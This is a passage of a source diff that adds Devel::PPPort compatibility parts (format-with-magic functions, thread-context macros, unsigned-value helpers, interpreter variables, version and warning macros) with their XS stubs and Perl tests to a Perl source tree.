+#ifndef sv_catpvf_mg
+# ifdef PERL_IMPLICIT_CONTEXT
+# define sv_catpvf_mg Perl_sv_catpvf_mg_nocontext
+# else
+# define sv_catpvf_mg Perl_sv_catpvf_mg
+# endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vcatpvf_mg)
+# define sv_vcatpvf_mg(sv, pat, args) \
+ STMT_START { \
+ sv_vcatpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*)); \
+ SvSETMAGIC(sv); \
+ } STMT_END
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_setpvf_mg)
+#if { NEED sv_setpvf_mg }
+
+void
+sv_setpvf_mg(pTHX_ SV *sv, const char *pat, ...)
+{
+ va_list args;
+ va_start(args, pat);
+ sv_vsetpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+ SvSETMAGIC(sv);
+ va_end(args);
+}
+
+#endif
+#endif
+
+#ifdef PERL_IMPLICIT_CONTEXT
+#if { VERSION >= 5.004 } && !defined(sv_setpvf_mg_nocontext)
+#if { NEED sv_setpvf_mg_nocontext }
+
+void
+sv_setpvf_mg_nocontext(SV *sv, const char *pat, ...)
+{
+ dTHX;
+ va_list args;
+ va_start(args, pat);
+ sv_vsetpvfn(sv, pat, strlen(pat), &args, Null(SV**), 0, Null(bool*));
+ SvSETMAGIC(sv);
+ va_end(args);
+}
+
+#endif
+#endif
+#endif
+
+/* sv_setpvf_mg depends on sv_setpvf_mg_nocontext */
+#ifndef sv_setpvf_mg
+# ifdef PERL_IMPLICIT_CONTEXT
+# define sv_setpvf_mg Perl_sv_setpvf_mg_nocontext
+# else
+# define sv_setpvf_mg Perl_sv_setpvf_mg
+# endif
+#endif
+
+#if { VERSION >= 5.004 } && !defined(sv_vsetpvf_mg)
+# define sv_vsetpvf_mg(sv, pat, args) \
+ STMT_START { \
+ sv_vsetpvfn(sv, pat, strlen(pat), args, Null(SV**), 0, Null(bool*)); \
+ SvSETMAGIC(sv); \
+ } STMT_END
+#endif
+
+=xsinit
+
+#define NEED_vnewSVpvf
+#define NEED_sv_catpvf_mg
+#define NEED_sv_catpvf_mg_nocontext
+#define NEED_sv_setpvf_mg
+#define NEED_sv_setpvf_mg_nocontext
+
+=xsmisc
+
+static SV * test_vnewSVpvf(pTHX_ const char *pat, ...)
+{
+ SV *sv;
+ va_list args;
+ va_start(args, pat);
+#if { VERSION >= 5.004 }
+ sv = vnewSVpvf(pat, &args);
+#else
+ sv = newSVpv((char *) pat, 0);
+#endif
+ va_end(args);
+ return sv;
+}
+
+static void test_sv_vcatpvf(pTHX_ SV *sv, const char *pat, ...)
+{
+ va_list args;
+ va_start(args, pat);
+#if { VERSION >= 5.004 }
+ sv_vcatpvf(sv, pat, &args);
+#else
+ sv_catpv(sv, (char *) pat);
+#endif
+ va_end(args);
+}
+
+static void test_sv_vsetpvf(pTHX_ SV *sv, const char *pat, ...)
+{
+ va_list args;
+ va_start(args, pat);
+#if { VERSION >= 5.004 }
+ sv_vsetpvf(sv, pat, &args);
+#else
+ sv_setpv(sv, (char *) pat);
+#endif
+ va_end(args);
+}
+
+=xsubs
+
+SV *
+vnewSVpvf()
+ CODE:
+ RETVAL = test_vnewSVpvf(aTHX_ "%s-%d", "Perl", 42);
+ OUTPUT:
+ RETVAL
+
+SV *
+sv_vcatpvf(sv)
+ SV *sv
+ CODE:
+ RETVAL = newSVsv(sv);
+ test_sv_vcatpvf(aTHX_ RETVAL, "%s-%d", "Perl", 42);
+ OUTPUT:
+ RETVAL
+
+SV *
+sv_vsetpvf(sv)
+ SV *sv
+ CODE:
+ RETVAL = newSVsv(sv);
+ test_sv_vsetpvf(aTHX_ RETVAL, "%s-%d", "Perl", 42);
+ OUTPUT:
+ RETVAL
+
+void
+sv_catpvf_mg(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+ sv_catpvf_mg(sv, "%s-%d", "Perl", 42);
+#endif
+
+void
+Perl_sv_catpvf_mg(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+ Perl_sv_catpvf_mg(aTHX_ sv, "%s-%d", "-Perl", 43);
+#endif
+
+void
+sv_catpvf_mg_nocontext(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+#ifdef PERL_IMPLICIT_CONTEXT
+ sv_catpvf_mg_nocontext(sv, "%s-%d", "-Perl", 44);
+#else
+ sv_catpvf_mg(sv, "%s-%d", "-Perl", 44);
+#endif
+#endif
+
+void
+sv_setpvf_mg(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+ sv_setpvf_mg(sv, "%s-%d", "mhx", 42);
+#endif
+
+void
+Perl_sv_setpvf_mg(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+ Perl_sv_setpvf_mg(aTHX_ sv, "%s-%d", "foo", 43);
+#endif
+
+void
+sv_setpvf_mg_nocontext(sv)
+ SV *sv
+ CODE:
+#if { VERSION >= 5.004 }
+#ifdef PERL_IMPLICIT_CONTEXT
+ sv_setpvf_mg_nocontext(sv, "%s-%d", "bar", 44);
+#else
+ sv_setpvf_mg(sv, "%s-%d", "bar", 44);
+#endif
+#endif
+
+=tests plan => 9
+
+use Tie::Hash;
+my %h;
+tie %h, 'Tie::StdHash';
+$h{foo} = 'foo-';
+$h{bar} = '';
+
+ok(&Devel::PPPort::vnewSVpvf(), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+ok(&Devel::PPPort::sv_vcatpvf('1-2-3-'), $] >= 5.004 ? '1-2-3-Perl-42' : '1-2-3-%s-%d');
+ok(&Devel::PPPort::sv_vsetpvf('1-2-3-'), $] >= 5.004 ? 'Perl-42' : '%s-%d');
+
+&Devel::PPPort::sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42' : 'foo-');
+
+&Devel::PPPort::Perl_sv_catpvf_mg($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43' : 'foo-');
+
+&Devel::PPPort::sv_catpvf_mg_nocontext($h{foo});
+ok($h{foo}, $] >= 5.004 ? 'foo-Perl-42-Perl-43-Perl-44' : 'foo-');
+
+&Devel::PPPort::sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'mhx-42' : '');
+
+&Devel::PPPort::Perl_sv_setpvf_mg($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'foo-43' : '');
+
+&Devel::PPPort::sv_setpvf_mg_nocontext($h{bar});
+ok($h{bar}, $] >= 5.004 ? 'bar-44' : '');
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/threads b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/threads
new file mode 100644
index 00000000000..9a8f6ac4b30
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/threads
@@ -0,0 +1,68 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+aTHXR
+aTHXR_
+dTHXR
+
+=implementation
+
+__UNDEFINED__ dTHR dNOOP
+
+__UNDEFINED__ dTHX dNOOP
+__UNDEFINED__ dTHXa(x) dNOOP
+
+__UNDEFINED__ pTHX void
+__UNDEFINED__ pTHX_
+__UNDEFINED__ aTHX
+__UNDEFINED__ aTHX_
+
+#if { VERSION < 5.6.0 }
+# ifdef USE_THREADS
+# define aTHXR thr
+# define aTHXR_ thr,
+# else
+# define aTHXR
+# define aTHXR_
+# endif
+# define dTHXR dTHR
+#else
+# define aTHXR aTHX
+# define aTHXR_ aTHX_
+# define dTHXR dTHX
+#endif
+
+__UNDEFINED__ dTHXoa(x) dTHXa(x)
+
+=xsubs
+
+IV
+no_THX_arg(sv)
+ SV *sv
+ CODE:
+ RETVAL = 1 + sv_2iv(sv);
+ OUTPUT:
+ RETVAL
+
+void
+with_THX_arg(error)
+ SV *error
+ PPCODE:
+ croak_sv(error);
+
+=tests plan => 2
+
+ok(&Devel::PPPort::no_THX_arg("42"), 43);
+eval { &Devel::PPPort::with_THX_arg("yes\n"); };
+ok($@ =~ /^yes/);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/uv b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/uv
new file mode 100644
index 00000000000..c1831e9c06a
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/uv
@@ -0,0 +1,122 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+SvUOK
+
+=implementation
+
+__UNDEFINED__ sv_setuv(sv, uv) \
+ STMT_START { \
+ UV TeMpUv = uv; \
+ if (TeMpUv <= IV_MAX) \
+ sv_setiv(sv, TeMpUv); \
+ else \
+ sv_setnv(sv, (double)TeMpUv); \
+ } STMT_END
+
+__UNDEFINED__ newSVuv(uv) ((uv) <= IV_MAX ? newSViv((IV)uv) : newSVnv((NV)uv))
+
+__UNDEFINED__ sv_2uv(sv) ((PL_Sv = (sv)), (UV) (SvNOK(PL_Sv) ? SvNV(PL_Sv) : sv_2nv(PL_Sv)))
+__UNDEFINED__ SvUVX(sv) ((UV)SvIVX(sv))
+__UNDEFINED__ SvUVXx(sv) SvUVX(sv)
+__UNDEFINED__ SvUV(sv) (SvIOK(sv) ? SvUVX(sv) : sv_2uv(sv))
+__UNDEFINED__ SvUVx(sv) ((PL_Sv = (sv)), SvUV(PL_Sv))
+
+/* Hint: sv_uv
+ * Always use the SvUVx() macro instead of sv_uv().
+ */
+__UNDEFINED__ sv_uv(sv) SvUVx(sv)
+
+#if !defined(SvUOK) && defined(SvIOK_UV)
+# define SvUOK(sv) SvIOK_UV(sv)
+#endif
+
+__UNDEFINED__ XST_mUV(i,v) (ST(i) = sv_2mortal(newSVuv(v)) )
+__UNDEFINED__ XSRETURN_UV(v) STMT_START { XST_mUV(0,v); XSRETURN(1); } STMT_END
+
+__UNDEFINED__ PUSHu(u) STMT_START { sv_setuv(TARG, (UV)(u)); PUSHTARG; } STMT_END
+__UNDEFINED__ XPUSHu(u) STMT_START { sv_setuv(TARG, (UV)(u)); XPUSHTARG; } STMT_END
+
+=xsubs
+
+SV *
+sv_setuv(uv)
+ UV uv
+ CODE:
+ RETVAL = newSViv(1);
+ sv_setuv(RETVAL, uv);
+ OUTPUT:
+ RETVAL
+
+SV *
+newSVuv(uv)
+ UV uv
+ CODE:
+ RETVAL = newSVuv(uv);
+ OUTPUT:
+ RETVAL
+
+UV
+sv_2uv(sv)
+ SV *sv
+ CODE:
+ RETVAL = sv_2uv(sv);
+ OUTPUT:
+ RETVAL
+
+UV
+SvUVx(sv)
+ SV *sv
+ CODE:
+ sv--;
+ RETVAL = SvUVx(++sv);
+ OUTPUT:
+ RETVAL
+
+void
+XSRETURN_UV()
+ PPCODE:
+ XSRETURN_UV(42);
+
+void
+PUSHu()
+ PREINIT:
+ dTARG;
+ PPCODE:
+ TARG = sv_newmortal();
+ EXTEND(SP, 1);
+ PUSHu(42);
+ XSRETURN(1);
+
+void
+XPUSHu()
+ PREINIT:
+ dTARG;
+ PPCODE:
+ TARG = sv_newmortal();
+ XPUSHu(43);
+ XSRETURN(1);
+
+=tests plan => 10
+
+ok(&Devel::PPPort::sv_setuv(42), 42);
+ok(&Devel::PPPort::newSVuv(123), 123);
+ok(&Devel::PPPort::sv_2uv("4711"), 4711);
+ok(&Devel::PPPort::sv_2uv("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx("1735928559"), 1735928559);
+ok(&Devel::PPPort::SvUVx(1735928559), 1735928559);
+ok(&Devel::PPPort::SvUVx(0xdeadbeef), 0xdeadbeef);
+ok(&Devel::PPPort::XSRETURN_UV(), 42);
+ok(&Devel::PPPort::PUSHu(), 42);
+ok(&Devel::PPPort::XPUSHu(), 43);
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/variables b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/variables
new file mode 100644
index 00000000000..afa53a68332
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/variables
@@ -0,0 +1,491 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+PL_ppaddr
+PL_no_modify
+PL_DBsignal
+PL_DBsingle
+PL_DBsub
+PL_DBtrace
+PL_Sv
+PL_bufend
+PL_bufptr
+PL_compiling
+PL_copline
+PL_curcop
+PL_curstash
+PL_debstash
+PL_defgv
+PL_diehook
+PL_dirty
+PL_dowarn
+PL_errgv
+PL_error_count
+PL_expect
+PL_hexdigit
+PL_hints
+PL_in_my
+PL_in_my_stash
+PL_laststatval
+PL_lex_state
+PL_lex_stuff
+PL_linestr
+PL_na
+PL_parser
+PL_perl_destruct_level
+PL_perldb
+PL_rsfp_filters
+PL_rsfp
+PL_stack_base
+PL_stack_sp
+PL_statcache
+PL_stdingv
+PL_sv_arenaroot
+PL_sv_no
+PL_sv_undef
+PL_sv_yes
+PL_tainted
+PL_tainting
+PL_tokenbuf
+PL_signals
+PERL_SIGNALS_UNSAFE_FLAG
+
+=implementation
+
+#ifndef PERL_SIGNALS_UNSAFE_FLAG
+
+#define PERL_SIGNALS_UNSAFE_FLAG 0x0001
+
+#if { VERSION < 5.8.0 }
+# define D_PPP_PERL_SIGNALS_INIT PERL_SIGNALS_UNSAFE_FLAG
+#else
+# define D_PPP_PERL_SIGNALS_INIT 0
+#endif
+
+__NEED_VAR__ U32 PL_signals = D_PPP_PERL_SIGNALS_INIT;
+
+#endif
+
+/* Hint: PL_ppaddr
+ * Calling an op via PL_ppaddr requires passing a context argument
+ * for threaded builds. Since the context argument is different for
+ * 5.005 perls, you can use aTHXR (supplied by ppport.h), which will
+ * automatically be defined as the correct argument.
+ */
+
+#if { VERSION <= 5.005_05 }
+/* Replace: 1 */
+# define PL_ppaddr ppaddr
+# define PL_no_modify no_modify
+/* Replace: 0 */
+#endif
+
+#if { VERSION <= 5.004_05 }
+/* Replace: 1 */
+# define PL_DBsignal DBsignal
+# define PL_DBsingle DBsingle
+# define PL_DBsub DBsub
+# define PL_DBtrace DBtrace
+# define PL_Sv Sv
+# define PL_bufend bufend
+# define PL_bufptr bufptr
+# define PL_compiling compiling
+# define PL_copline copline
+# define PL_curcop curcop
+# define PL_curstash curstash
+# define PL_debstash debstash
+# define PL_defgv defgv
+# define PL_diehook diehook
+# define PL_dirty dirty
+# define PL_dowarn dowarn
+# define PL_errgv errgv
+# define PL_error_count error_count
+# define PL_expect expect
+# define PL_hexdigit hexdigit
+# define PL_hints hints
+# define PL_in_my in_my
+# define PL_laststatval laststatval
+# define PL_lex_state lex_state
+# define PL_lex_stuff lex_stuff
+# define PL_linestr linestr
+# define PL_na na
+# define PL_perl_destruct_level perl_destruct_level
+# define PL_perldb perldb
+# define PL_rsfp_filters rsfp_filters
+# define PL_rsfp rsfp
+# define PL_stack_base stack_base
+# define PL_stack_sp stack_sp
+# define PL_statcache statcache
+# define PL_stdingv stdingv
+# define PL_sv_arenaroot sv_arenaroot
+# define PL_sv_no sv_no
+# define PL_sv_undef sv_undef
+# define PL_sv_yes sv_yes
+# define PL_tainted tainted
+# define PL_tainting tainting
+# define PL_tokenbuf tokenbuf
+/* Replace: 0 */
+#endif
+
+/* Warning: PL_parser
+ * For perl versions earlier than 5.9.5, this is an always
+ * non-NULL dummy. Also, it cannot be dereferenced. Don't
+ * use it if you can avoid is and unless you absolutely know
+ * what you're doing.
+ * If you always check that PL_parser is non-NULL, you can
+ * define DPPP_PL_parser_NO_DUMMY to avoid the creation of
+ * a dummy parser structure.
+ */
+
+#if { VERSION >= 5.9.5 }
+# ifdef DPPP_PL_parser_NO_DUMMY
+# define D_PPP_my_PL_parser_var(var) ((PL_parser ? PL_parser : \
+ (croak("panic: PL_parser == NULL in %s:%d", \
+ __FILE__, __LINE__), (yy_parser *) NULL))->var)
+# else
+# ifdef DPPP_PL_parser_NO_DUMMY_WARNING
+# define D_PPP_parser_dummy_warning(var)
+# else
+# define D_PPP_parser_dummy_warning(var) \
+ warn("warning: dummy PL_" #var " used in %s:%d", __FILE__, __LINE__),
+# endif
+# define D_PPP_my_PL_parser_var(var) ((PL_parser ? PL_parser : \
+ (D_PPP_parser_dummy_warning(var) &DPPP_(dummy_PL_parser)))->var)
+__NEED_DUMMY_VAR__ yy_parser PL_parser;
+# endif
+
+/* PL_expect, PL_copline, PL_rsfp, PL_rsfp_filters, PL_linestr, PL_bufptr, PL_bufend, PL_lex_state, PL_lex_stuff, PL_tokenbuf depends on PL_parser */
+/* Warning: PL_expect, PL_copline, PL_rsfp, PL_rsfp_filters, PL_linestr, PL_bufptr, PL_bufend, PL_lex_state, PL_lex_stuff, PL_tokenbuf
+ * Do not use this variable unless you know exactly what you're
+ * doing. It is internal to the perl parser and may change or even
+ * be removed in the future. As of perl 5.9.5, you have to check
+ * for (PL_parser != NULL) for this variable to have any effect.
+ * An always non-NULL PL_parser dummy is provided for earlier
+ * perl versions.
+ * If PL_parser is NULL when you try to access this variable, a
+ * dummy is being accessed instead and a warning is issued unless
+ * you define DPPP_PL_parser_NO_DUMMY_WARNING.
+ * If DPPP_PL_parser_NO_DUMMY is defined, the code trying to access
+ * this variable will croak with a panic message.
+ */
+
+# define PL_expect D_PPP_my_PL_parser_var(expect)
+# define PL_copline D_PPP_my_PL_parser_var(copline)
+# define PL_rsfp D_PPP_my_PL_parser_var(rsfp)
+# define PL_rsfp_filters D_PPP_my_PL_parser_var(rsfp_filters)
+# define PL_linestr D_PPP_my_PL_parser_var(linestr)
+# define PL_bufptr D_PPP_my_PL_parser_var(bufptr)
+# define PL_bufend D_PPP_my_PL_parser_var(bufend)
+# define PL_lex_state D_PPP_my_PL_parser_var(lex_state)
+# define PL_lex_stuff D_PPP_my_PL_parser_var(lex_stuff)
+# define PL_tokenbuf D_PPP_my_PL_parser_var(tokenbuf)
+# define PL_in_my D_PPP_my_PL_parser_var(in_my)
+# define PL_in_my_stash D_PPP_my_PL_parser_var(in_my_stash)
+# define PL_error_count D_PPP_my_PL_parser_var(error_count)
+
+
+#else
+
+/* ensure that PL_parser != NULL and cannot be dereferenced */
+# define PL_parser ((void *) 1)
+
+#endif
+
+=xsinit
+
+#define NEED_PL_signals
+#define NEED_PL_parser
+#define DPPP_PL_parser_NO_DUMMY_WARNING
+
+=xsmisc
+
+U32 get_PL_signals_1(void)
+{
+#ifdef PERL_NO_GET_CONTEXT
+ dTHX;
+#endif
+ return PL_signals;
+}
+
+extern U32 get_PL_signals_2(void);
+extern U32 get_PL_signals_3(void);
+int no_dummy_parser_vars(int);
+int dummy_parser_warning(void);
+
+/* No PTRSIZE IN 5.004 and below, so PTR2IV would warn and possibly misbehave */
+#if { VERSION > 5.004 }
+ #define ppp_TESTVAR(var) STMT_START { mXPUSHi(PTR2IV(&var)); count++; } STMT_END
+#else
+ #define ppp_TESTVAR(var) STMT_START { mXPUSHi(&var); count++; } STMT_END
+#endif
+
+#define ppp_PARSERVAR(type, var) STMT_START { \
+ type volatile my_ ## var; \
+ type volatile *my_p_ ## var; \
+ my_ ## var = var; \
+ my_p_ ## var = &var; \
+ var = my_ ## var; \
+ var = *my_p_ ## var; \
+ mXPUSHi(&var != NULL); \
+ count++; \
+ } STMT_END
+
+#define ppp_PARSERVAR_dummy STMT_START { \
+ mXPUSHi(1); \
+ count++; \
+ } STMT_END
+
+#if { VERSION < 5.004 }
+# define ppp_rsfp_t FILE *
+#else
+# define ppp_rsfp_t PerlIO *
+#endif
+
+#if { VERSION < 5.6.0 }
+# define ppp_expect_t expectation
+#elif { VERSION < 5.9.5 }
+# define ppp_expect_t int
+#else
+# define ppp_expect_t U8
+#endif
+
+#if { VERSION < 5.9.5 }
+# define ppp_lex_state_t U32
+#else
+# define ppp_lex_state_t U8
+#endif
+
+#if { VERSION < 5.6.0 }
+# define ppp_in_my_t bool
+#elif { VERSION < 5.9.5 }
+# define ppp_in_my_t I32
+#else
+# define ppp_in_my_t U16
+#endif
+
+#if { VERSION < 5.9.5 }
+# define ppp_error_count_t I32
+#else
+# define ppp_error_count_t U8
+#endif
+
+=xsubs
+
+int
+compare_PL_signals()
+ CODE:
+ {
+ U32 ref = get_PL_signals_1();
+ RETVAL = ref == get_PL_signals_2() && ref == get_PL_signals_3();
+ }
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_sv_undef()
+ CODE:
+ RETVAL = newSVsv(&PL_sv_undef);
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_sv_yes()
+ CODE:
+ RETVAL = newSVsv(&PL_sv_yes);
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_sv_no()
+ CODE:
+ RETVAL = newSVsv(&PL_sv_no);
+ OUTPUT:
+ RETVAL
+
+int
+PL_na(string)
+ char *string
+ CODE:
+ PL_na = strlen(string);
+ RETVAL = PL_na;
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_Sv()
+ CODE:
+ PL_Sv = newSVpv("mhx", 0);
+ RETVAL = PL_Sv;
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_tokenbuf()
+ CODE:
+ RETVAL = newSViv(PL_tokenbuf[0]);
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_parser()
+ CODE:
+ RETVAL = newSViv(PL_parser != NULL);
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_hexdigit()
+ CODE:
+ RETVAL = newSVpv((char *) PL_hexdigit, 0);
+ OUTPUT:
+ RETVAL
+
+SV *
+PL_hints()
+ CODE:
+ RETVAL = newSViv((IV) PL_hints);
+ OUTPUT:
+ RETVAL
+
+void
+PL_ppaddr(string)
+ char *string
+ PPCODE:
+ PUSHMARK(SP);
+ mXPUSHs(newSVpv(string, 0));
+ PUTBACK;
+ ENTER;
+ (void)*(PL_ppaddr[OP_UC])(aTHXR);
+ SPAGAIN;
+ LEAVE;
+ XSRETURN(1);
+
+void
+other_variables()
+ PREINIT:
+ int count = 0;
+ PPCODE:
+ ppp_TESTVAR(PL_DBsignal);
+ ppp_TESTVAR(PL_DBsingle);
+ ppp_TESTVAR(PL_DBsub);
+ ppp_TESTVAR(PL_DBtrace);
+ ppp_TESTVAR(PL_compiling);
+ ppp_TESTVAR(PL_curcop);
+ ppp_TESTVAR(PL_curstash);
+ ppp_TESTVAR(PL_debstash);
+ ppp_TESTVAR(PL_defgv);
+ ppp_TESTVAR(PL_diehook);
+#if { VERSION >= 5.13.7 }
+ /* can't get a pointer any longer */
+ mXPUSHi(PL_dirty ? 1 : 1);
+ count++;
+#else
+ ppp_TESTVAR(PL_dirty);
+#endif
+ ppp_TESTVAR(PL_dowarn);
+ ppp_TESTVAR(PL_errgv);
+ ppp_TESTVAR(PL_laststatval);
+ ppp_TESTVAR(PL_no_modify);
+ ppp_TESTVAR(PL_perl_destruct_level);
+ ppp_TESTVAR(PL_perldb);
+ ppp_TESTVAR(PL_stack_base);
+ ppp_TESTVAR(PL_stack_sp);
+ ppp_TESTVAR(PL_statcache);
+ ppp_TESTVAR(PL_stdingv);
+ ppp_TESTVAR(PL_sv_arenaroot);
+ ppp_TESTVAR(PL_tainted);
+ ppp_TESTVAR(PL_tainting);
+
+ ppp_PARSERVAR(ppp_expect_t, PL_expect);
+ ppp_PARSERVAR(line_t, PL_copline);
+ ppp_PARSERVAR(ppp_rsfp_t, PL_rsfp);
+ ppp_PARSERVAR(AV *, PL_rsfp_filters);
+ ppp_PARSERVAR(SV *, PL_linestr);
+ ppp_PARSERVAR(char *, PL_bufptr);
+ ppp_PARSERVAR(char *, PL_bufend);
+ ppp_PARSERVAR(ppp_lex_state_t, PL_lex_state);
+ ppp_PARSERVAR(SV *, PL_lex_stuff);
+ ppp_PARSERVAR(ppp_error_count_t, PL_error_count);
+ ppp_PARSERVAR(ppp_in_my_t, PL_in_my);
+#if { VERSION >= 5.5.0 }
+ ppp_PARSERVAR(HV*, PL_in_my_stash);
+#else
+ ppp_PARSERVAR_dummy;
+#endif
+ XSRETURN(count);
+
+int
+no_dummy_parser_vars(check)
+ int check
+
+int
+dummy_parser_warning()
+
+=tests plan => 52
+
+ok(Devel::PPPort::compare_PL_signals());
+
+ok(!defined(&Devel::PPPort::PL_sv_undef()));
+ok(&Devel::PPPort::PL_sv_yes());
+ok(!&Devel::PPPort::PL_sv_no());
+ok(&Devel::PPPort::PL_na("abcd"), 4);
+ok(&Devel::PPPort::PL_Sv(), "mhx");
+ok(defined &Devel::PPPort::PL_tokenbuf());
+ok($] >= 5.009005 || &Devel::PPPort::PL_parser());
+ok(&Devel::PPPort::PL_hexdigit() =~ /^[0-9a-zA-Z]+$/);
+ok(defined &Devel::PPPort::PL_hints());
+ok(&Devel::PPPort::PL_ppaddr("mhx"), "MHX");
+
+for (&Devel::PPPort::other_variables()) {
+ ok($_ != 0);
+}
+
+{
+ my @w;
+ my $fail = 0;
+ {
+ local $SIG{'__WARN__'} = sub { push @w, @_ };
+ ok(&Devel::PPPort::dummy_parser_warning());
+ }
+ if ($] >= 5.009005) {
+ ok(@w >= 0);
+ for (@w) {
+ print "# $_";
+ unless (/^warning: dummy PL_bufptr used in.*module3.*:\d+/i) {
+ warn $_;
+ $fail++;
+ }
+ }
+ }
+ else {
+ ok(@w == 0);
+ }
+ ok($fail, 0);
+}
+
+ok(&Devel::PPPort::no_dummy_parser_vars(1) >= ($] < 5.009005 ? 1 : 0));
+
+eval { &Devel::PPPort::no_dummy_parser_vars(0) };
+
+if ($] < 5.009005) {
+ ok($@, '');
+}
+else {
+ if ($@) {
+ print "# $@";
+ ok($@ =~ /^panic: PL_parser == NULL in.*module2.*:\d+/i);
+ }
+ else {
+ ok(1);
+ }
+}
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/version b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/version
new file mode 100644
index 00000000000..c321b203c92
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/version
@@ -0,0 +1,51 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+PERL_REVISION
+PERL_VERSION
+PERL_SUBVERSION
+PERL_BCDVERSION
+
+=dontwarn
+
+PERL_PATCHLEVEL_H_IMPLICIT
+
+=implementation
+
+#ifndef PERL_REVISION
+# if !defined(__PATCHLEVEL_H_INCLUDED__) && !(defined(PATCHLEVEL) && defined(SUBVERSION))
+# define PERL_PATCHLEVEL_H_IMPLICIT
+# include <patchlevel.h>
+# endif
+# if !(defined(PERL_VERSION) || (defined(SUBVERSION) && defined(PATCHLEVEL)))
+# include <could_not_find_Perl_patchlevel.h>
+# endif
+# ifndef PERL_REVISION
+# define PERL_REVISION (5)
+ /* Replace: 1 */
+# define PERL_VERSION PATCHLEVEL
+# define PERL_SUBVERSION SUBVERSION
+ /* Replace PERL_PATCHLEVEL with PERL_VERSION */
+ /* Replace: 0 */
+# endif
+#endif
+
+#define D_PPP_DEC2BCD(dec) ((((dec)/100)<<8)|((((dec)%100)/10)<<4)|((dec)%10))
+#define PERL_BCDVERSION ((D_PPP_DEC2BCD(PERL_REVISION)<<24)|(D_PPP_DEC2BCD(PERL_VERSION)<<12)|D_PPP_DEC2BCD(PERL_SUBVERSION))
+
+/* It is very unlikely that anyone will try to use this with Perl 6
+ (or greater), but who knows.
+ */
+#if PERL_REVISION != 5
+# error ppport.h only works with Perl version 5
+#endif /* PERL_REVISION != 5 */
diff --git a/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/warn b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/warn
new file mode 100644
index 00000000000..8f8f8ff337f
--- /dev/null
+++ b/gnu/usr.bin/perl/dist/Devel-PPPort/parts/inc/warn
@@ -0,0 +1,168 @@
+################################################################################
+##
+## Version 3.x, Copyright (C) 2004-2013, Marcus Holland-Moritz.
+## Version 2.x, Copyright (C) 2001, Paul Marquess.
+## Version 1.x, Copyright (C) 1999, Kenneth Albanowski.
+##
+## This program is free software; you can redistribute it and/or
+## modify it under the same terms as Perl itself.
+##
+################################################################################
+
+=provides
+
+__UNDEFINED__
+ckWARN
+warner
+Perl_warner
+Perl_warner_nocontext
+
+=implementation
+
+__UNDEFINED__ WARN_ALL 0
+__UNDEFINED__ WARN_CLOSURE 1
+__UNDEFINED__ WARN_DEPRECATED 2
+__UNDEFINED__ WARN_EXITING 3
+__UNDEFINED__ WARN_GLOB 4
+__UNDEFINED__ WARN_IO 5
+__UNDEFINED__ WARN_CLOSED 6
+__UNDEFINED__ WARN_EXEC 7
+__UNDEFINED__ WARN_LAYER 8
+__UNDEFINED__ WARN_NEWLINE 9
+__UNDEFINED__ WARN_PIPE 10
+__UNDEFINED__ WARN_UNOPENED 11
